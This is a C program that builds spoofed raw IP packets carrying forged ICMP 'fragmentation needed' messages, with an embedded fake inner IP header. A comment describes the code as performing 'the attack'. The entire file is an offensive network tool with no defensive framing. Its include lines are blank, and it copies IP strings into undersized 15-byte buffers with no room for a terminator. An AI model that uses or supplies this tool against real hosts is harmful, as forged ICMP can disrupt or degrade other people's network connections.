#include #include #include #include #include #include #include #include #define PACKET_SIZE 128 #define PAYLOAD_DATA 8 static unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; while (nwords > 0) { sum += *buf++; nwords--; } sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); return (unsigned short)(~sum); } int main(int argc, char *argv[]) { int sock = 0; if (argc < 3) exit(1); char ipsrc[15]; char ipdst[15]; memcpy(ipsrc, argv[1], 15); memcpy(ipdst, argv[2], 15); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } int one = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(int)) < 0) { perror("setsockopt"); return 1; } unsigned char packet[PACKET_SIZE]; memset(packet, 0, PACKET_SIZE); struct iphdr *ip = (struct iphdr *)packet; struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); struct sockaddr_in dst = {0}; dst.sin_family = AF_INET; inet_pton(AF_INET, ipdst, &dst.sin_addr); ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 28); ip->id = htons(1); ip->frag_off = 0; ip->ttl = 64; ip->protocol = IPPROTO_ICMP; ip->saddr = inet_addr(ipsrc); ip->daddr = dst.sin_addr.s_addr; ip->check = csum((unsigned short *)ip, sizeof(struct iphdr) / 2); /* To perform the attack, we need to set these two values */ icmp->type = ICMP_DEST_UNREACH; icmp->code = ICMP_FRAG_NEEDED; icmp->un.gateway = 0; /* We construct the payload for the ICMP */ unsigned char *payload = packet + sizeof(struct iphdr) + sizeof(struct icmphdr); struct iphdr payload_ip; memset(&payload_ip, 0, sizeof(payload_ip)); payload_ip.version = 4; payload_ip.ihl = 5; payload_ip.tos = 0; payload_ip.tot_len = htons(60); payload_ip.id = htons(1); payload_ip.ttl = 64; payload_ip.protocol = 0; payload_ip.saddr = inet_addr(ipsrc); payload_ip.daddr = inet_addr(ipdst); /* We copy our IP header into the ICMP payload and our data */ memcpy(payload, &payload_ip, sizeof(payload_ip)); memset(payload + sizeof(payload_ip), 0x41, PAYLOAD_DATA); int icmp_len = sizeof(struct icmphdr) + sizeof(payload_ip) + PAYLOAD_DATA; icmp->checksum = 0; icmp->checksum = csum((unsigned short *)icmp, (icmp_len + 1) / 2); int total_len = sizeof(struct iphdr) + icmp_len; if (sendto(sock, packet, total_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) { perror("sendto"); return 1; } close(sock); return 0; }